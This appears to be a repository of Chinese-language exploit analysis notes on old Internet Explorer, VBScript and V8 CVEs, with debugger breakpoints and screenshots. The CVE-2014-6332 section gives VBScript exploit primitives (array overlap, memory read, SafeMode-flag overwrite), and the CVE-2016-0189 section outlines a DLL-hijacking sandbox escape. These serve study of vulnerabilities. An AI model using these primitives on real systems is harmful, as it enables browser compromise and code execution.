├── .gitignore ├── BrowserSecurity ├── CVE-2014-0322.md ├── CVE-2014-0322 │ ├── CVE-2014-03220.png │ ├── CVE-2014-03221.png │ ├── CVE-2014-032210.png │ ├── CVE-2014-032211.png │ ├── CVE-2014-032212.png │ ├── CVE-2014-032213.png │ ├── CVE-2014-032214.png │ ├── CVE-2014-032215.png │ ├── CVE-2014-032216.png │ ├── CVE-2014-03222.png │ ├── CVE-2014-03223.png │ ├── CVE-2014-03224.png │ ├── CVE-2014-03225.png │ ├── CVE-2014-03226.png │ ├── CVE-2014-03227.png │ ├── CVE-2014-03228.png │ └── CVE-2014-03229.png ├── CVE-2014-6332.md ├── CVE-2014-6332 │ ├── CVE-2014-63320.png │ ├── CVE-2014-63321.png │ ├── CVE-2014-63322.png │ ├── CVE-2014-63323.png │ ├── CVE-2014-63324.png │ ├── CVE-2014-63325.png │ └── CVE-2014-63326.png ├── CVE-2016-0189.md ├── CVE-2016-0189 │ ├── CVE-2016-01890.png │ ├── CVE-2016-01891.png │ ├── CVE-2016-018910.png │ ├── CVE-2016-018911.png │ ├── CVE-2016-018912.png │ ├── CVE-2016-018913.png │ ├── CVE-2016-018914.png │ ├── CVE-2016-01892.png │ ├── CVE-2016-01893.png │ ├── CVE-2016-01894.png │ ├── CVE-2016-01895.png │ ├── CVE-2016-01896.png │ ├── CVE-2016-01897.png │ ├── CVE-2016-01898.png │ └── CVE-2016-01899.png ├── CVE-2016-5197.md ├── CVE-2016-5197 │ ├── CVE-2016-51970.png │ ├── CVE-2016-51971.png │ ├── CVE-2016-519710.png │ ├── CVE-2016-51972.png │ ├── CVE-2016-51973.png │ ├── CVE-2016-51974.png │ ├── CVE-2016-51975.png │ ├── CVE-2016-51976.png │ ├── CVE-2016-51977.png │ ├── CVE-2016-51978.png │ └── CVE-2016-51979.png ├── CVE-2017-5070.md ├── CVE-2017-5070 │ ├── CVE-2017-50700.png │ ├── CVE-2017-50701.png │ ├── CVE-2017-50702.png │ ├── CVE-2017-50703.png │ └── CVE-2017-50704.png ├── CVE-2018-8174.md ├── CVE-2018-8174 │ ├── CVE-2018-81740.png │ ├── CVE-2018-81741.png │ ├── CVE-2018-817410.png │ ├── CVE-2018-817411.png │ ├── CVE-2018-817412.png │ ├── CVE-2018-817413.png │ ├── CVE-2018-817414.png │ ├── CVE-2018-817415.png │ ├── CVE-2018-817416.png │ ├── CVE-2018-817417.png │ ├── CVE-2018-817418.png │ ├── CVE-2018-817419.png │ ├── CVE-2018-81742.png │ ├── CVE-2018-817420.png │ ├── CVE-2018-817421.png │ ├── CVE-2018-817422.png │ ├── CVE-2018-817423.png │ ├── CVE-2018-817424.png │ ├── CVE-2018-817425.png │ ├── CVE-2018-817426.png │ ├── CVE-2018-817427.png │ ├── CVE-2018-817428.png │ ├── CVE-2018-817429.png │ ├── CVE-2018-81743.png │ ├── CVE-2018-81744.png │ ├── CVE-2018-81745.png │ ├── CVE-2018-81746.png │ ├── CVE-2018-81747.png │ ├── CVE-2018-81748.png │ ├── CVE-2018-81749.png │ ├── [VulnerabilityExploit]BypassALSR0.png │ ├── [VulnerabilityExploit]BypassALSR1.png │ ├── [VulnerabilityExploit]BypassALSR10.png │ ├── [VulnerabilityExploit]BypassALSR11.png │ ├── [VulnerabilityExploit]BypassALSR12.png │ ├── [VulnerabilityExploit]BypassALSR2.png │ ├── [VulnerabilityExploit]BypassALSR3.png │ ├── [VulnerabilityExploit]BypassALSR4.png │ ├── [VulnerabilityExploit]BypassALSR5.png │ ├── [VulnerabilityExploit]BypassALSR6.png │ ├── [VulnerabilityExploit]BypassALSR7.png │ ├── [VulnerabilityExploit]BypassALSR9.png │ ├── [VulnerabilityExploit]BypassDEP0.png │ ├── [VulnerabilityExploit]BypassDEP1.png │ ├── [VulnerabilityExploit]BypassDEP2.png │ ├── [VulnerabilityExploit]BypassDEP3.png │ ├── [VulnerabilityExploit]BypassDEP4.png │ ├── [VulnerabilityExploit]BypassDEP5.png │ ├── [VulnerabilityExploit]BypassDEP6.png │ ├── [VulnerabilityExploit]BypassDEP7.png │ ├── [VulnerabilityExploit]BypassDEP8.png │ └── [VulnerabilityExploit]BypassDEP9.png ├── README.md ├── README │ ├── Basics0.png │ ├── Basics1.png │ ├── Basics2.png │ ├── Basics3.png │ ├── Basics4.png │ ├── Basics5.png │ ├── Basics6.png │ ├── InternetExplorer0.png │ ├── InternetExplorer1.png │ ├── InternetExplorer2.png │ ├── InternetExplorer4.png │ ├── V80.png │ ├── V81.png │ ├── V810.png │ ├── V811.png │ ├── V812.png │ ├── V813.png │ ├── V814.png │ ├── V815.png │ ├── V816.png │ ├── V817.png │ ├── V818.png │ ├── V819.png │ ├── V82.png │ ├── V820.png │ ├── V821.png │ ├── V822.png │ ├── V823.png │ ├── V824.png │ ├── V825.png │ ├── V826.png │ ├── V827.png │ ├── V828.png │ ├── V829.png │ ├── V83.png │ ├── V84.png │ ├── V85.png │ ├── V86.png │ ├── V87.png │ ├── V88.png │ ├── V89.png │ ├── VbscriptBasics0.png │ ├── VbscriptBasics2.png │ ├── VbscriptBasics3.png │ └── VbscriptBasics4.png └── V8.md ├── README.md └── WindowsExploitDevelopment ├── Part0-HackNotes.md ├── Part1-StackOverflow.md ├── Part1-StackOverflow ├── Part1-StackOverflow0.png ├── Part1-StackOverflow1.png ├── Part1-StackOverflow2.png ├── Part1-StackOverflow3.png ├── Part1-StackOverflow4.png ├── Part1-StackOverflow5.png ├── Part1-StackOverflow6.png ├── Part1-StackOverflow7.png ├── Part1-StackOverflow8.png └── Part1-StackOverflow9.png ├── Part2-SEHExploit.md ├── Part2-SEHExploit ├── Part2-SEHExploit0.png ├── Part2-SEHExploit1.png ├── Part2-SEHExploit2.png ├── Part2-SEHExploit3.png ├── Part2-SEHExploit5.png ├── Part2-SEHExploit6.png └── Part2-SEHExploit7.png ├── Part3-BypassDEPwithROP.md ├── Part3-BypassDEPwithROP ├── Part3-BypassDEPwithROP0.png ├── Part3-BypassDEPwithROP1.png ├── Part3-BypassDEPwithROP2.png ├── Part3-BypassDEPwithROP3.png ├── Part3-BypassDEPwithROP4.png ├── Part3-ROP0.png ├── Part3-ROP1.png ├── Part3-ROP2.png └── Part3-ROP3.png ├── Part4-From0x00410041toCalc.md └── Part4-From0x00410041toCalc ├── Part4-From0x00410041toCalc0.png ├── Part4-From0x00410041toCalc1.png ├── Part4-From0x00410041toCalc2.png ├── Part4-From0x00410041toCalc3.png ├── Part4-From0x00410041toCalc4.png ├── Part4-From0x00410041toCalc5.png └── Part4-From0x00410041toCalc6.png /.gitignore: -------------------------------------------------------------------------------- 1 | *Samples* 2 | *CVE-2018-8373* -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2014-0322.md: -------------------------------------------------------------------------------- 1 | # CVE-2014-0322 分析 2 | 3 | 算是第一个克服畏难情绪、没有依赖他人分析文章的sample；慢慢自己会去下一些断点，总结一些内存结构，一个有纪念意义的sample。 4 | 5 | 6 | ## UAF分析 7 | Win7+IE10+flashplayer12_0r0_70_winax 8 | 9 | 并非稳定exploit，HeapSpray并不一定能喷射成期望的布局 10 | 11 | ``` 12 | 13 | 14 | 15 | 16 | 17 | 18 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 调试事项： 116 | 1. enable hpa 117 | 2. 断点 118 | bu MSHTML!CScriptElement::CreateElement "gu; gu; .printf \"CScriptElement Address: %p\\n\",poi(ebp-4); " 119 | bu jscript9!Js::Math::Atan ".printf \"DEBUG: %mu\\n\", poi(poi(esp+10)+c);g" 120 | bu jscript9!Js::Math::Atan2 ".printf \"DEBUG: %mu\\n\", poi(poi(esp+14)+c);" 121 | bu MSHTML!CMarkup::~CMarkup ".printf \"Release CMarkup Object: %p\\n\",ecx; gu;" 122 | bu MSHTML!CMarkup::CMarkup "gu; .printf \"New CMarkup Object: %p\\n\",eax ;" 123 | ``` 124 | 125 | ``` 126 | b.onpropertychange = eXpl 127 | 这行代码会触发eXpl的执行 128 | ``` 129 | 130 | ``` 131 | 执行this.outerHTML = this.outerHTML时，会创建一个新的script节点，用它替换原有Script节点 132 | ``` 133 | 134 | ![](CVE-2014-0322/CVE-2014-03222.png) 135 | 136 | 137 | ![](CVE-2014-0322/CVE-2014-03220.png) 138 | 139 | ``` 140 | c = b.appendChild(c), 因为b已经不在主Dom流中了，为了对它appendChild需要创建一条新的Dom流; 141 | 而对b appendChild, 会触发eXpl执行（b的属性被改变啊） 142 | ``` 143 | 144 | ![](CVE-2014-0322/CVE-2014-03221.png) 145 | 146 | ``` 147 | 再次执行 148 | this.outerHTML = this.outerHTML， 不知为何这里多了CMarkup_a的释放，更不知为何后面又重新引用它，从而就UAF啦 149 | ``` 150 | 151 | ![](CVE-2014-0322/CVE-2014-03223.png) 152 | 153 | 154 | ![](CVE-2014-0322/CVE-2014-03224.png) 155 | 156 | ``` 157 | 通过在call释放CMarkup_a前下断点，发现了CMarkup_a被释放的原因 158 | MSHTML!InjectHtmlStream 有一段这样的Code, 先释放临时CMarkup对象，再释放script_a 所在CMarkup 对象 159 | 160 | ``` 161 | 162 | ![](CVE-2014-0322/CVE-2014-03225.png) 163 | 164 | ``` 165 | CMarkup::~CMarkup 并不是每次都释放CMarkup， 166 | 如果对象还被引用，则~CMarkup只是减少引用计数； 167 | 如果引用计数为0，才会真正释放CMarkup 对象 168 | ``` 169 | 170 | ![](CVE-2014-0322/CVE-2014-03226.png) 171 | 172 | ``` 173 | 当eXpl执行完回到appendChild的逻辑时，继续用到了CMarkup_a, 因为它是对script_a appendChild 174 | 综上： 本质上还是CMarkup对象的引用计数更新不对，导致错误释放 175 | 176 | ``` 177 | 178 | ## 数组越界访问 179 | ``` 180 | CMarkup Object被19fffff3填充，而后续会有inc [eax+10]，从而修改了1a000000 处vector的length 181 | ``` 182 | ![](CVE-2014-0322/CVE-2014-03227.png) 183 | 184 | ``` 185 | 把下一个vector的length改为0x3FFFFFFF，可读写范围更大了 186 | ``` 187 | ![](CVE-2014-0322/CVE-2014-03228.png) 188 | 189 | 190 | ## Bypass ALSR 191 | ``` 192 | Bypass ALSR与其他exploit类似，之前分析过，略 193 | ``` 194 | ![](CVE-2014-0322/CVE-2014-03229.png) 195 | 196 | ## Bypass DEP 197 | ``` 198 | 在flash .text字段搜寻0xC394用于stack pivot 199 | // 94 xchg eax,esp 200 | // c3 ret 201 | 202 | 这里又可以继续了解PE结构啦~~~ 203 | ``` 204 | 205 | ![](CVE-2014-0322/CVE-2014-032211.png) 206 | 207 | ![](CVE-2014-0322/CVE-2014-032210.png) 208 | 209 | ![](CVE-2014-0322/CVE-2014-032212.png) 210 | 211 | 212 | ## Run Shellcode 213 | 214 | ![](CVE-2014-0322/CVE-2014-032213.png) 215 | 216 | ****************************************************** 217 | 218 | ![](CVE-2014-0322/CVE-2014-032214.png) 219 | 220 | ****************************************************** 221 | 222 | ![](CVE-2014-0322/CVE-2014-032215.png) 223 | 224 | ****************************************************** 225 | 226 | ![](CVE-2014-0322/CVE-2014-032216.png) -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2014-0322/CVE-2014-03220.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2014-0322/CVE-2014-03220.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2014-0322/CVE-2014-03221.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2014-0322/CVE-2014-03221.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2014-0322/CVE-2014-032210.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2014-0322/CVE-2014-032210.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2014-0322/CVE-2014-032211.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2014-0322/CVE-2014-032211.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2014-0322/CVE-2014-032212.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2014-0322/CVE-2014-032212.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2014-0322/CVE-2014-032213.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2014-0322/CVE-2014-032213.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2014-0322/CVE-2014-032214.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2014-0322/CVE-2014-032214.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2014-0322/CVE-2014-032215.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2014-0322/CVE-2014-032215.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2014-0322/CVE-2014-032216.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2014-0322/CVE-2014-032216.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2014-0322/CVE-2014-03222.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2014-0322/CVE-2014-03222.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2014-0322/CVE-2014-03223.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2014-0322/CVE-2014-03223.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2014-0322/CVE-2014-03224.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2014-0322/CVE-2014-03224.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2014-0322/CVE-2014-03225.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2014-0322/CVE-2014-03225.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2014-0322/CVE-2014-03226.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2014-0322/CVE-2014-03226.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2014-0322/CVE-2014-03227.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2014-0322/CVE-2014-03227.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2014-0322/CVE-2014-03228.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2014-0322/CVE-2014-03228.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2014-0322/CVE-2014-03229.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2014-0322/CVE-2014-03229.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2014-6332.md: -------------------------------------------------------------------------------- 1 | # CVE-2014-6332分析 2 | 3 | **Win7x86+IE11** 4 | 5 | ![](CVE-2014-6332/CVE-2014-63326.png) 6 | 7 | 1. root cause 8 | 9 | 注意到aa的length变为0x8000005 10 | 11 | ``` 12 | dim aa() 13 | redim aa(5) 14 | aa(0) = &h11223344 15 | 16 | a2=5+&h8000000 17 | IsEmpty(aa) 18 | 19 | redim Preserve aa(a2) 20 | IsEmpty(aa) 21 | 22 | ``` 23 | 24 | 对length 被修改的内存下硬件写断点，定位到OLEAUT32!SafeArrayRedim 25 | 26 | OLEAUT32!SafeArrayRedim 逻辑如下 27 | ![](CVE-2014-6332/CVE-2014-63320.png) 28 | 29 | 2. 构造交错aa, ab 30 | 31 | 由于OLEAUT32!SafeArrayRedim 中的bug，redim Preserve aa(a2) 之后会使得aa可以越界访问。通过循环申请aa和ab，试图构造出以下内存布局 32 | 33 | ![](CVE-2014-6332/CVE-2014-63321.png) 34 | 35 | 3. Setnotsafemode 36 | 37 | ``` 38 | function Mydata() 39 | On Error Resume Next 40 | i=testaa 41 | i=null 42 | IsEmpty(i) 43 | 44 | redim Preserve aa(a2) 45 | ab(0)=0 46 | aa(a1)=i 47 | ab(0)=6.36598737437801E-314 48 | aa(a1+2)=myarray 49 | ab(2)=1.74088534731324E-310 50 | IsEmpty("Before return Mydata") 51 | Mydata=aa(a1) 52 | redim Preserve aa(a0) 53 | end function 54 | ``` 55 | 56 | ![](CVE-2014-6332/CVE-2014-63322.png) 57 | ![](CVE-2014-6332/CVE-2014-63323.png) 58 | 59 | ``` 60 | 通过对aa, ab交替赋值，即可修改myarray、CScriptEntryPoint的type 61 | 从而得到一个 [0x0, 0x7fff0000) 的array, 以及CScriptEntryPoint 对象地址 62 | 63 | ``` 64 | 65 | ![](CVE-2014-6332/CVE-2014-63324.png) 66 | 67 | 68 | ``` 69 | function ReadMemo(add) 70 | On Error Resume Next 71 | redim Preserve aa(a2) 72 | ab(0)=0 73 | aa(a1)=add+4 74 | ab(0)=1.69759663316747E-313 75 | IsEmpty("Before Return ReadMemo") 76 | ReadMemo=lenb(aa(a1)) 77 | ab(0)=0 78 | redim Preserve aa(a0) 79 | end function 80 | ``` 81 | 82 | ![](CVE-2014-6332/CVE-2014-63325.png) 83 | 84 | ``` 85 | i=Mydata() 'i为vbscript!CScriptEntryPoint 对象地址 86 | i=ReadMemo(i+8) 87 | i=ReadMemo(i+16) 'i为vbscript!COleScript 对象地址 88 | 89 | for k=0 to &h60 step 4 90 | j=ReadMemo(i+&h120+k) 91 | if (j=&he) then '找到[ecx+0x174]==0xe的位置 92 | redim Preserve aa(a2) 93 | aa(a1+2)(i+&h11c+k)=ab(4) 'ab(4)还保留着初始化时的0； aa(a1+2)是myarray; [ecx+0x174]被赋值为0 94 | redim Preserve aa(a0) 95 | exit for 96 | end if 97 | next 98 | ``` 99 | 100 | ``` 101 | 修改[ecx+0x174]成功，进入GodMode，即可执行shellcode 102 | 0:007> dd 01d1e758+170 L2 103 | 01d1e8c8 00000000 0000000e 104 | 0:007> dd 01d1e758+170 L2 105 | 01d1e8c8 00000000 00000000 106 | ``` 107 | 108 | ** 为什么要构造一个myarray? ** 109 | ``` 110 | 尽管aa已经有全址读写能力，但它的base不是从0开始。当ecx+174h的值后，我们不方便通过aa定位到它。 111 | 112 | 通过myarray，直接使用下标就可以访问它，更加方便。 113 | ``` 114 | -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2014-6332/CVE-2014-63320.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2014-6332/CVE-2014-63320.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2014-6332/CVE-2014-63321.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2014-6332/CVE-2014-63321.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2014-6332/CVE-2014-63322.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2014-6332/CVE-2014-63322.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2014-6332/CVE-2014-63323.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2014-6332/CVE-2014-63323.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2014-6332/CVE-2014-63324.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2014-6332/CVE-2014-63324.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2014-6332/CVE-2014-63325.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2014-6332/CVE-2014-63325.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2014-6332/CVE-2014-63326.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2014-6332/CVE-2014-63326.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2016-0189.md: -------------------------------------------------------------------------------- 1 | # CVE-2016-0189分析 2 | 3 | # About GodMode and EPM 4 | 1. 当[ecx+0x174]&0xB时，即可开启GodMode;但GodMode只是控制unsafe extensions (such as “Shell.Application”)能否执行，并不能突破IE的sandbox, 即EPM 5 | 6 | ![](CVE-2016-0189/CVE-2016-01890.png) 7 | 8 | 2. vista之后默认是开启EPM的，因此pop up notepad没有问题，却无法pop up cmd;pop up calc 则需要用户允许，这都是由于ElevationPolicy控制的。 如果可以pop up calc/cmd, 可能是由于你是Administrator 用户登录，从而IE是high Integrity Level 9 | 10 | ![](CVE-2016-0189/CVE-2016-01892.png) 11 | 3. 既然不能突破sandbox，如何执行shellcode 12 | 13 | - DLL劫持攻擊 14 | ``` 15 | download一个fake shell32.dll和PE到temp目录 16 | 设置temp 目录为系统目录 17 | new 一个shellShell.Application时，会调用fake shell32.dll，从而执行PE 18 | ``` 19 | 20 | - local server(Further Reading1) 21 | 22 | # 1. 泄漏VBScriptClass对象地址 23 | ![](CVE-2016-0189/CVE-2016-01897.png) 24 | 25 | 调试过程如下： 26 | 最初aw.A的size 27 | 28 | ![](CVE-2016-0189/CVE-2016-01893.png) 29 | 30 | Resize() 31 | 32 | ![](CVE-2016-0189/CVE-2016-01894.png) 33 | 34 | 使用y_array32占位 35 | 36 | ![](CVE-2016-0189/CVE-2016-01895.png) 37 | 38 | Set aw.A(arg1, 2) = s，造成越界读写，与y_array32内容交错 39 | 40 | ![](CVE-2016-0189/CVE-2016-01896.png) 41 | 42 | 遍历y_array32, 即可得到VBScriptClass对象地址 43 | 44 | 45 | 这里有必要解释下为什么是IsEmpty(aw)，而不是IsEmpty(aw.A) 46 | 47 | ![](CVE-2016-0189/CVE-2016-01891.png) 48 | 49 | # 2. Leak ColeScript对象地址 50 | 51 | ![](CVE-2016-0189/CVE-2016-01898.png) 52 | 53 | ![](CVE-2016-0189/CVE-2016-01899.png) 54 | 55 | # 3. 修改SafeMode标识 56 | 57 | ![](CVE-2016-0189/CVE-2016-018910.png) 58 | 59 | ![](CVE-2016-0189/CVE-2016-018911.png) 60 | 61 | ![](CVE-2016-0189/CVE-2016-018912.png) 62 | 63 | 4. 执行shell code 64 | 65 | - 简单弹出notepad.exe 66 | 67 | ![](CVE-2016-0189/CVE-2016-018913.png) 68 | 69 | - 执行PE （不成功，暂时mark，想知道新启动进程的权限是low还是medium） 70 | 71 | ![](CVE-2016-0189/CVE-2016-018914.png) 72 | 73 | 74 | ## Further Reading 75 | 1. https://theori.io/research/cve-2016-0189. 76 | 2. https://bbs.pediy.com/thread-228371.htm 77 | 3. https://www.freebuf.com/sectool/131766.html 78 | 4. https://www.blackhat.com/docs/us-14/materials/us-14-Yu-Write-Once-Pwn-Anywhere.pdf 79 | -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2016-0189/CVE-2016-01890.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2016-0189/CVE-2016-01890.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2016-0189/CVE-2016-01891.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2016-0189/CVE-2016-01891.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2016-0189/CVE-2016-018910.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2016-0189/CVE-2016-018910.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2016-0189/CVE-2016-018911.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2016-0189/CVE-2016-018911.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2016-0189/CVE-2016-018912.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2016-0189/CVE-2016-018912.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2016-0189/CVE-2016-018913.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2016-0189/CVE-2016-018913.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2016-0189/CVE-2016-018914.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2016-0189/CVE-2016-018914.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2016-0189/CVE-2016-01892.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2016-0189/CVE-2016-01892.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2016-0189/CVE-2016-01893.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2016-0189/CVE-2016-01893.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2016-0189/CVE-2016-01894.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2016-0189/CVE-2016-01894.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2016-0189/CVE-2016-01895.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2016-0189/CVE-2016-01895.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2016-0189/CVE-2016-01896.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2016-0189/CVE-2016-01896.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2016-0189/CVE-2016-01897.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2016-0189/CVE-2016-01897.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2016-0189/CVE-2016-01898.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2016-0189/CVE-2016-01898.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2016-0189/CVE-2016-01899.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RingLcy/VulnerabilityAnalysisAndExploit/962e808058d273521bca50a22ef570dbf9083581/BrowserSecurity/CVE-2016-0189/CVE-2016-01899.png -------------------------------------------------------------------------------- /BrowserSecurity/CVE-2016-5197.md: -------------------------------------------------------------------------------- 1 | # CVE-2016-5197 OOB 2 | 3 | ## 参考 4 | https://xz.aliyun.com/t/2889#toc-17 5 | https://www.jianshu.com/p/0326d382f5f9 6 | https://cansecwest.com/slides/2017/CSW2017_QidanHe-GengmingLiu_Pwning_Nexus_of_Every_Pixel.pdf 7 | 8 | 9 | ## 编译有问题的D8 10 | https://bugs.chromium.org/p/chromium/issues/detail?id=659475 11 | 12 | https://chromium.googlesource.com/v8/v8/+/2bd7464ec1efc9eb24a38f7400119a5f2257f6e6 13 | 14 | 